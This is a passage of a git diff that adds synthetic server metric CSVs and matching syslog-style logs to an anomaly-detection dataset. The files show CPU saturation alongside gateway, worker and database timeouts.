/api/data took 153.3ms +Aug 04 10:03:25 web-app[1123]: WARN request to /api/data took 159.84ms +Aug 04 10:03:30 web-app[1123]: WARN request to /api/data took 225.63ms +Aug 04 10:03:35 web-app[1123]: WARN request to /api/data took 180.62ms +Aug 04 10:03:40 web-app[1123]: WARN request to /api/data took 220.89ms +Aug 04 10:03:45 CRON[213452]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 04 10:03:45 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:03:50 web-app[1123]: WARN request to /api/data took 907.3ms +Aug 04 10:03:55 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:00 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:05 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:10 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:15 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:20 web-app[1123]: WARN request to /api/data took 705.27ms +Aug 04 10:04:25 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:30 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:35 web-app[1123]: WARN request to /api/data took 869.49ms +Aug 04 10:04:40 web-app[1123]: WARN request to /api/data took 558.3ms +Aug 04 10:04:45 web-app[1123]: WARN request to /api/data took 789.03ms +Aug 04 10:04:50 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:04:55 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:00 CRON[213602]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 04 10:05:00 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:05 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:10 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:15 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:20 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:25 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:30 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:35 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:40 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:45 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:50 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:05:55 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:00 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:05 web-app[1123]: WARN request to /api/data took 915.05ms +Aug 04 10:06:10 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:15 CRON[213752]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 04 10:06:15 web-app[1123]: WARN request to /api/data took 661.72ms +Aug 04 10:06:20 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:25 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:30 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:35 web-app[1123]: WARN request to /api/data took 554.41ms +Aug 04 10:06:40 web-app[1123]: WARN request to /api/data took 543.85ms +Aug 04 10:06:45 web-app[1123]: WARN request to /api/data took 813.34ms +Aug 04 10:06:50 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:06:55 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:07:00 web-app[1123]: WARN request to /api/data took 512.92ms +Aug 04 10:07:05 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:07:10 web-app[1123]: WARN request to /api/data took 747.16ms +Aug 04 10:07:15 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:07:20 web-app[1123]: ERROR upstream request timeout for GET /api/data +Aug 04 10:07:25 web-app[1123]: ERROR upstream request timeout for GET /api/data diff --git a/anom_dataset/scenario_1/anom_1_26.csv b/anom_dataset/scenario_1/anom_1_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..f9dfe8a839cbda65b61d302071eec8d519bf2a9e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T14:00:00Z,19.37,41.57,20.18,0.65,0.91 +2025-08-25T14:00:05Z,6.77,39.3,19.62,0.91,1.34 +2025-08-25T14:00:10Z,20.05,39.76,22.89,0.95,1.31 +2025-08-25T14:00:15Z,16.11,42.72,28.04,1.41,0.86 +2025-08-25T14:00:20Z,20.72,40.92,18.84,0.95,1.22 +2025-08-25T14:00:25Z,14.82,41.78,25.94,0.65,1.18 +2025-08-25T14:00:30Z,8.26,39.74,26.29,1.21,1.2 +2025-08-25T14:00:35Z,6.71,40.2,23.67,1.08,1.07 +2025-08-25T14:00:40Z,21.2,47.39,27.52,0.75,1.97 +2025-08-25T14:00:45Z,5.57,39.54,20.81,0.77,1.47 +2025-08-25T14:00:50Z,14.29,41.84,17.35,0.53,1.35 +2025-08-25T14:00:55Z,13.57,42.98,27.99,0.65,1.57 +2025-08-25T14:01:00Z,6.14,39.02,13.77,0.73,1.54 +2025-08-25T14:01:05Z,9.95,40.05,25.94,1.18,1.9 +2025-08-25T14:01:10Z,26.59,42.94,26.28,0.57,1.54 +2025-08-25T14:01:15Z,18.32,39.89,22.66,0.79,0.88 +2025-08-25T14:01:20Z,12.32,38.11,21.97,1.26,1.77 +2025-08-25T14:01:25Z,19.36,42.85,23.56,1.22,1.67 +2025-08-25T14:01:30Z,12.34,38.98,24.72,1.23,0.81 +2025-08-25T14:01:35Z,11.88,37.22,25.65,0.82,1.66 +2025-08-25T14:01:40Z,11.58,42.98,26.46,1.43,1.53 +2025-08-25T14:01:45Z,26.23,35.94,24.1,0.93,1.1 +2025-08-25T14:01:50Z,16.91,36.96,25.85,1.36,1.31 +2025-08-25T14:01:55Z,18.29,42.97,33.88,1.05,1.18 +2025-08-25T14:02:00Z,9.33,40.23,33.71,1.42,1.04 +2025-08-25T14:02:05Z,11.28,37.18,25.75,0.63,1.4 +2025-08-25T14:02:10Z,11.82,38.82,19.42,1.23,1.06 +2025-08-25T14:02:15Z,14.74,38.73,27.52,0.8,1.88 +2025-08-25T14:02:20Z,22.52,40.1,15.43,0.98,0.88 +2025-08-25T14:02:25Z,9.99,37.47,23.68,1.45,1.25 +2025-08-25T14:02:30Z,6.67,40.14,21.38,1.3,0.84 +2025-08-25T14:02:35Z,19.27,40.44,15.33,1.12,1.77 +2025-08-25T14:02:40Z,10.03,39.98,26.65,1.31,0.86 +2025-08-25T14:02:45Z,9.14,39.5,27.71,1.29,1.68 +2025-08-25T14:02:50Z,10.63,37.17,25.63,0.68,1.32 +2025-08-25T14:02:55Z,19.78,39.22,27.66,0.58,1.5 +2025-08-25T14:03:00Z,15.26,38.92,23.73,1.0,1.5 +2025-08-25T14:03:05Z,21.17,40.04,25.07,1.16,1.02 +2025-08-25T14:03:10Z,15.25,40.79,16.99,0.66,1.83 +2025-08-25T14:03:15Z,11.7,40.92,27.42,0.93,1.92 +2025-08-25T14:03:20Z,30.0,37.42,30.2,1.04,1.8 +2025-08-25T14:03:25Z,33.68,41.19,26.14,1.01,1.67 +2025-08-25T14:03:30Z,37.37,38.8,23.88,1.21,1.41 +2025-08-25T14:03:35Z,41.05,39.09,19.76,1.12,1.4 +2025-08-25T14:03:40Z,44.74,40.75,22.0,1.48,0.94 +2025-08-25T14:03:45Z,48.42,42.38,23.67,1.05,1.99 +2025-08-25T14:03:50Z,52.11,39.7,26.38,1.48,1.81 +2025-08-25T14:03:55Z,55.79,40.88,28.82,0.85,1.16 +2025-08-25T14:04:00Z,59.47,40.46,28.32,0.53,1.76 +2025-08-25T14:04:05Z,63.16,38.83,29.45,1.39,1.69 +2025-08-25T14:04:10Z,66.84,39.61,25.93,0.52,0.85 +2025-08-25T14:04:15Z,70.53,39.13,20.44,1.08,1.9 +2025-08-25T14:04:20Z,74.21,42.74,33.34,1.39,1.06 +2025-08-25T14:04:25Z,77.89,41.17,23.02,1.14,1.2 +2025-08-25T14:04:30Z,81.58,38.01,33.06,0.53,1.85 +2025-08-25T14:04:35Z,85.26,39.45,23.74,0.78,1.48 +2025-08-25T14:04:40Z,88.95,39.08,29.75,1.42,1.14 +2025-08-25T14:04:45Z,92.63,36.8,20.97,0.67,1.41 +2025-08-25T14:04:50Z,96.32,40.92,31.36,0.61,1.77 +2025-08-25T14:04:55Z,100.0,37.53,12.25,0.61,1.38 +2025-08-25T14:05:00Z,99.65,38.67,31.79,0.84,1.31 +2025-08-25T14:05:05Z,98.27,40.6,33.92,0.89,1.81 +2025-08-25T14:05:10Z,98.66,40.48,23.68,0.77,1.9 +2025-08-25T14:05:15Z,98.9,38.05,22.9,0.83,0.99 +2025-08-25T14:05:20Z,98.88,42.32,21.87,0.53,1.34 +2025-08-25T14:05:25Z,99.46,37.27,19.94,1.01,1.93 +2025-08-25T14:05:30Z,98.33,40.18,25.95,0.82,1.04 +2025-08-25T14:05:35Z,99.71,38.35,14.85,0.75,1.63 +2025-08-25T14:05:40Z,98.83,39.16,28.95,0.91,1.4 +2025-08-25T14:05:45Z,99.01,36.02,33.7,1.28,1.95 +2025-08-25T14:05:50Z,98.6,40.89,23.52,1.4,1.77 +2025-08-25T14:05:55Z,98.59,42.45,19.2,1.38,1.09 +2025-08-25T14:06:00Z,98.12,38.96,28.81,0.94,1.0 +2025-08-25T14:06:05Z,98.44,43.01,29.5,1.05,1.41 +2025-08-25T14:06:10Z,99.97,38.06,32.32,0.8,1.78 +2025-08-25T14:06:15Z,98.32,39.61,27.74,0.79,1.39 +2025-08-25T14:06:20Z,99.9,38.53,28.28,0.91,1.85 +2025-08-25T14:06:25Z,99.23,40.91,19.54,0.58,0.82 +2025-08-25T14:06:30Z,98.73,40.17,21.45,1.38,1.41 +2025-08-25T14:06:35Z,98.96,40.02,27.26,0.9,1.44 +2025-08-25T14:06:40Z,99.32,42.4,25.9,1.16,0.94 +2025-08-25T14:06:45Z,98.04,41.88,30.41,0.95,1.3 +2025-08-25T14:06:50Z,99.39,40.2,27.07,0.78,0.97 +2025-08-25T14:06:55Z,99.27,43.06,18.81,1.13,1.45 +2025-08-25T14:07:00Z,99.01,37.57,30.47,1.2,1.84 +2025-08-25T14:07:05Z,98.41,40.78,20.53,1.35,0.87 +2025-08-25T14:07:10Z,99.7,42.67,20.12,1.36,1.47 +2025-08-25T14:07:15Z,98.91,40.28,28.15,1.25,1.94 +2025-08-25T14:07:20Z,98.78,40.24,31.34,1.37,1.79 +2025-08-25T14:07:25Z,98.32,41.59,28.54,0.98,0.91 diff --git a/anom_dataset/scenario_1/anom_1_26.log b/anom_dataset/scenario_1/anom_1_26.log new file mode 100644 index 0000000000000000000000000000000000000000..3266f7bcc7f1f87722ca003ef8f94ca4640e52bf --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_26.log @@ -0,0 +1,44 @@ +Aug 25 14:00:00 sshd[10452]: Accepted publickey for user admin from 10.0.1.5 port 22 +Aug 25 14:00:15 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:00:30 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:00:45 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 25 14:01:00 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:01:15 nginx[3451]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 14:01:30 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:01:45 nginx[3451]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 14:02:00 nginx[3451]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 14:02:15 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:02:30 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:02:45 systemd[1]: Started Session C5 of user root. +Aug 25 14:03:00 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:03:15 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:03:30 nginx[3451]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 14:03:45 sshd[10452]: Accepted publickey for user admin from 10.0.1.5 port 22 +Aug 25 14:04:00 nginx[3451]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 25 14:04:00 sshd[10452]: Accepted publickey for user admin from 10.0.1.5 port 22 +Aug 25 14:04:05 nginx[3451]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 25 14:04:15 systemd[1]: Started Session C5 of user root. +Aug 25 14:04:30 sshd[10452]: Accepted publickey for user admin from 10.0.1.5 port 22 +Aug 25 14:04:45 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 25 14:04:50 webapp[5678]: WARNING: Request to downstream service 'user-auth' timed out. +Aug 25 14:05:00 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:05:05 kernel: [12450.123] hrtimer: interrupt took 4872 ns +Aug 25 14:05:15 nginx[3451]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 14:05:30 cron[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 14:05:30 gunicorn[4521]: ERROR [2025-08-25 14:05:30 +0000] WORKER TIMEOUT (pid:4525) +Aug 25 14:05:45 systemd[1]: Started Session C5 of user root. +Aug 25 14:05:55 nginx[3451]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 25 14:06:00 gunicorn[4521]: ERROR [2025-08-25 14:06:00 +0000] WORKER TIMEOUT (pid:4525) +Aug 25 14:06:00 sshd[10452]: Accepted publickey for user admin from 10.0.1.5 port 22 +Aug 25 14:06:15 nginx[3451]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 14:06:30 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:06:30 webapp[5678]: WARNING: Request to downstream service 'user-auth' timed out. +Aug 25 14:06:35 webapp[5678]: ERROR: Database connection timeout after 10000ms +Aug 25 14:06:45 gunicorn[4521]: ERROR [2025-08-25 14:06:45 +0000] WORKER TIMEOUT (pid:4525) +Aug 25 14:06:45 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:06:55 webapp[5678]: ERROR: Database connection timeout after 10000ms +Aug 25 14:07:00 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:07:05 webapp[5678]: ERROR: Database connection timeout after 10000ms +Aug 25 14:07:15 kubelet[2150]: INFO routine sync completed for pod web-app +Aug 25 14:07:15 webapp[5678]: WARNING: Request to downstream service 'user-auth' timed out. +Aug 25 14:07:25 webapp[5678]: WARNING: Request to downstream service 'user-auth' timed out. diff --git a/anom_dataset/scenario_1/anom_1_27.csv b/anom_dataset/scenario_1/anom_1_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..1f21be07d1990b2a0d582e32e26d6e6d7f62d28d --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T08:00:00Z,22.62,41.14,34.25,1.16,0.95 +2025-08-26T08:00:05Z,19.91,39.49,32.68,0.51,1.48 +2025-08-26T08:00:10Z,15.61,40.07,34.12,1.45,1.72 +2025-08-26T08:00:15Z,21.54,41.18,26.99,1.25,1.57 +2025-08-26T08:00:20Z,19.97,37.68,21.45,0.52,0.94 +2025-08-26T08:00:25Z,15.79,36.73,22.5,1.03,1.8 +2025-08-26T08:00:30Z,21.23,43.42,20.02,1.09,1.3 +2025-08-26T08:00:35Z,23.42,42.98,28.02,1.01,1.31 +2025-08-26T08:00:40Z,21.47,44.08,30.43,0.59,0.88 +2025-08-26T08:00:45Z,20.64,36.9,33.68,0.7,0.93 +2025-08-26T08:00:50Z,15.89,39.67,27.44,1.38,1.49 +2025-08-26T08:00:55Z,21.79,40.98,27.7,1.42,1.23 +2025-08-26T08:01:00Z,17.17,38.29,31.73,0.88,0.96 +2025-08-26T08:01:05Z,21.13,37.1,32.01,0.77,1.62 +2025-08-26T08:01:10Z,21.95,40.34,34.58,0.67,1.79 +2025-08-26T08:01:15Z,15.22,44.67,26.42,1.24,1.19 +2025-08-26T08:01:20Z,16.24,39.53,23.97,0.77,0.79 +2025-08-26T08:01:25Z,23.97,43.26,27.03,0.74,0.93 +2025-08-26T08:01:30Z,21.53,35.61,24.28,0.78,1.17 +2025-08-26T08:01:35Z,20.75,38.42,30.43,0.78,0.82 +2025-08-26T08:01:40Z,21.03,38.42,25.56,1.36,1.31 +2025-08-26T08:01:45Z,20.64,43.62,23.58,0.98,1.71 +2025-08-26T08:01:50Z,16.75,38.84,29.74,1.05,1.08 +2025-08-26T08:01:55Z,19.46,41.98,34.47,1.29,1.26 +2025-08-26T08:02:00Z,21.31,38.74,23.07,1.0,1.47 +2025-08-26T08:02:05Z,20.3,35.96,30.7,1.3,1.0 +2025-08-26T08:02:10Z,21.67,41.36,23.42,0.88,0.75 +2025-08-26T08:02:15Z,22.08,39.75,33.39,0.68,1.25 +2025-08-26T08:02:20Z,20.3,36.73,28.69,0.5,1.79 +2025-08-26T08:02:25Z,17.42,44.06,33.15,0.68,0.88 +2025-08-26T08:02:30Z,25.0,35.7,20.56,0.9,1.37 +2025-08-26T08:02:35Z,32.78,40.53,26.93,0.58,0.74 +2025-08-26T08:02:40Z,40.56,40.49,29.54,0.71,0.71 +2025-08-26T08:02:45Z,48.33,38.61,28.56,0.8,1.05 +2025-08-26T08:02:50Z,56.11,36.52,33.44,1.23,1.62 +2025-08-26T08:02:55Z,63.89,35.28,32.66,1.23,1.69 +2025-08-26T08:03:00Z,71.67,41.91,26.35,0.74,1.32 +2025-08-26T08:03:05Z,79.44,36.59,32.75,0.89,1.07 +2025-08-26T08:03:10Z,87.22,38.8,24.22,0.77,0.81 +2025-08-26T08:03:15Z,95.0,39.63,28.37,0.93,0.92 +2025-08-26T08:03:20Z,96.21,39.84,34.36,0.99,0.94 +2025-08-26T08:03:25Z,97.33,41.8,33.71,1.0,0.81 +2025-08-26T08:03:30Z,96.73,42.95,23.59,0.66,0.77 +2025-08-26T08:03:35Z,95.28,35.81,24.79,1.4,1.02 +2025-08-26T08:03:40Z,97.22,40.1,22.08,1.09,1.51 +2025-08-26T08:03:45Z,98.27,35.78,22.31,1.33,1.17 +2025-08-26T08:03:50Z,97.63,44.59,23.04,0.88,1.54 +2025-08-26T08:03:55Z,95.58,36.25,22.72,0.61,1.56 +2025-08-26T08:04:00Z,96.88,43.36,29.33,1.49,1.58 +2025-08-26T08:04:05Z,98.08,36.96,22.22,1.43,1.11 +2025-08-26T08:04:10Z,99.31,43.46,33.98,0.87,1.19 +2025-08-26T08:04:15Z,97.04,38.49,34.14,0.67,1.38 +2025-08-26T08:04:20Z,98.25,42.21,22.47,0.64,1.08 +2025-08-26T08:04:25Z,99.46,38.42,34.91,1.1,1.62 +2025-08-26T08:04:30Z,97.21,38.23,29.83,1.06,1.53 +2025-08-26T08:04:35Z,96.18,42.76,20.4,1.26,1.53 +2025-08-26T08:04:40Z,98.21,44.25,24.93,1.29,1.58 +2025-08-26T08:04:45Z,96.22,39.22,32.22,1.47,1.38 +2025-08-26T08:04:50Z,96.19,36.27,22.08,0.57,1.09 +2025-08-26T08:04:55Z,96.93,38.52,21.48,1.33,1.5 +2025-08-26T08:05:00Z,95.26,40.21,33.58,0.83,1.68 +2025-08-26T08:05:05Z,97.25,39.5,32.36,1.36,1.63 +2025-08-26T08:05:10Z,99.61,37.16,28.42,0.69,0.78 +2025-08-26T08:05:15Z,97.18,38.49,31.03,1.29,1.3 +2025-08-26T08:05:20Z,96.61,43.72,22.16,1.35,1.29 +2025-08-26T08:05:25Z,98.18,42.4,30.87,0.83,1.11 +2025-08-26T08:05:30Z,97.43,36.04,21.91,0.81,1.49 +2025-08-26T08:05:35Z,95.96,43.1,22.21,0.54,0.83 +2025-08-26T08:05:40Z,98.32,39.26,29.27,0.91,0.84 +2025-08-26T08:05:45Z,95.55,42.2,23.77,1.3,1.49 +2025-08-26T08:05:50Z,99.03,39.5,30.99,1.27,1.08 +2025-08-26T08:05:55Z,97.01,43.91,20.39,1.08,1.39 +2025-08-26T08:06:00Z,98.14,38.05,26.18,0.52,1.65 +2025-08-26T08:06:05Z,95.6,36.01,22.14,0.83,1.4 +2025-08-26T08:06:10Z,98.06,37.94,22.67,1.48,1.01 +2025-08-26T08:06:15Z,99.43,42.83,32.77,0.7,0.71 +2025-08-26T08:06:20Z,98.21,41.28,24.76,0.76,1.56 +2025-08-26T08:06:25Z,97.02,37.91,34.01,1.48,1.47 +2025-08-26T08:06:30Z,96.74,35.97,34.3,0.97,1.68 +2025-08-26T08:06:35Z,98.66,38.37,24.99,1.16,1.31 +2025-08-26T08:06:40Z,95.78,36.8,26.72,0.62,1.15 +2025-08-26T08:06:45Z,95.54,39.82,29.02,0.7,0.97 +2025-08-26T08:06:50Z,96.86,43.17,22.74,1.42,1.53 +2025-08-26T08:06:55Z,97.74,36.66,25.62,1.35,0.76 +2025-08-26T08:07:00Z,98.76,40.49,27.25,1.35,1.76 +2025-08-26T08:07:05Z,98.04,35.08,23.54,1.41,1.45 +2025-08-26T08:07:10Z,96.95,36.68,22.21,0.92,1.73 +2025-08-26T08:07:15Z,95.87,44.89,27.78,0.8,1.79 +2025-08-26T08:07:20Z,99.36,35.01,32.01,0.86,1.8 +2025-08-26T08:07:25Z,97.81,41.68,33.67,0.62,0.82 diff --git a/anom_dataset/scenario_1/anom_1_27.log b/anom_dataset/scenario_1/anom_1_27.log new file mode 100644 index 0000000000000000000000000000000000000000..fa4de3aa5b4311b1a48766723b3e076c7be374e3 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_27.log @@ -0,0 +1,49 @@ +Aug 26 07:59:58 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 07:59:58 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 26 08:00:23 CRON[19881]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 26 08:00:35 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:00:49 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 26 08:01:08 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:01:38 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 26 08:01:43 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:02:20 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:02:40 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:03:00 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4668ms +Aug 26 08:03:00 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:03:16 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4879ms +Aug 26 08:03:19 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:03:21 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:03:32 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4969ms +Aug 26 08:03:40 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:03:47 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4772ms +Aug 26 08:03:58 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:04:01 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5474ms +Aug 26 08:04:01 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:04:15 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4695ms +Aug 26 08:04:22 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:04:32 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4965ms +Aug 26 08:04:40 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:04:40 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:04:45 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4559ms +Aug 26 08:05:01 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4880ms +Aug 26 08:05:01 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:05:17 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5156ms +Aug 26 08:05:20 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:05:21 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:05:31 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5261ms +Aug 26 08:05:41 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:05:45 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5234ms +Aug 26 08:06:00 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5334ms +Aug 26 08:06:01 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:06:01 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:06:17 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5248ms +Aug 26 08:06:21 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:06:31 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5380ms +Aug 26 08:06:40 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:06:41 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:06:46 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 4960ms +Aug 26 08:07:00 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout +Aug 26 08:07:01 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5029ms +Aug 26 08:07:15 app-server[4512]: ERROR Request to /api/process-data failed: upstream request timeout after 5242ms +Aug 26 08:07:21 kubelet[2345]: INFO routine sync completed for pod web-app-7b8c4d6f7d-abcde +Aug 26 08:07:21 nginx[1123]: GET /api/v1/query?id=xyz HTTP/1.1 504 Gateway Timeout diff --git a/anom_dataset/scenario_1/anom_1_28.csv b/anom_dataset/scenario_1/anom_1_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..9088a225cd4f25d947ecb90cc056de1ff1c9350e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-26T10:00:00Z,10.44,37.73,15.26,0.51,0.86 +2025-07-26T10:00:05Z,14.75,40.21,29.34,1.31,1.99 +2025-07-26T10:00:10Z,17.65,39.67,15.41,0.81,1.09 +2025-07-26T10:00:15Z,11.57,43.35,17.58,1.34,1.25 +2025-07-26T10:00:20Z,17.91,36.26,25.06,0.95,1.06 +2025-07-26T10:00:25Z,10.84,37.85,22.03,0.71,1.71 +2025-07-26T10:00:30Z,12.61,42.72,28.13,1.39,1.99 +2025-07-26T10:00:35Z,15.05,39.17,28.73,0.55,1.66 +2025-07-26T10:00:40Z,10.12,44.05,17.58,1.16,1.94 +2025-07-26T10:00:45Z,11.98,35.76,15.64,0.58,1.45 +2025-07-26T10:00:50Z,16.64,42.47,26.22,1.49,1.93 +2025-07-26T10:00:55Z,10.79,37.28,19.45,1.15,1.27 +2025-07-26T10:01:00Z,11.31,42.57,19.04,1.11,1.76 +2025-07-26T10:01:05Z,17.09,41.64,15.83,1.27,1.32 +2025-07-26T10:01:10Z,12.0,40.75,20.0,1.1,0.89 +2025-07-26T10:01:15Z,19.35,35.34,21.55,1.08,0.98 +2025-07-26T10:01:20Z,14.78,39.81,15.92,0.53,1.56 +2025-07-26T10:01:25Z,11.69,40.57,23.54,0.62,1.19 +2025-07-26T10:01:30Z,13.77,38.39,17.31,0.86,1.27 +2025-07-26T10:01:35Z,15.44,43.67,16.38,0.63,1.44 +2025-07-26T10:01:40Z,15.88,42.67,20.24,0.82,1.36 +2025-07-26T10:01:45Z,10.01,39.86,19.55,0.86,1.05 +2025-07-26T10:01:50Z,17.46,42.06,19.85,0.86,1.53 +2025-07-26T10:01:55Z,17.45,36.33,29.42,0.77,1.35 +2025-07-26T10:02:00Z,11.65,38.18,20.64,1.25,1.74 +2025-07-26T10:02:05Z,10.33,41.06,21.9,0.98,1.88 +2025-07-26T10:02:10Z,18.91,37.03,29.19,1.32,1.04 +2025-07-26T10:02:15Z,12.28,37.21,15.22,1.26,1.98 +2025-07-26T10:02:20Z,18.05,36.04,18.43,1.18,1.73 +2025-07-26T10:02:25Z,19.18,41.7,26.77,1.25,1.12 +2025-07-26T10:02:30Z,19.39,44.31,17.34,1.0,1.35 +2025-07-26T10:02:35Z,22.44,44.31,17.67,1.31,0.81 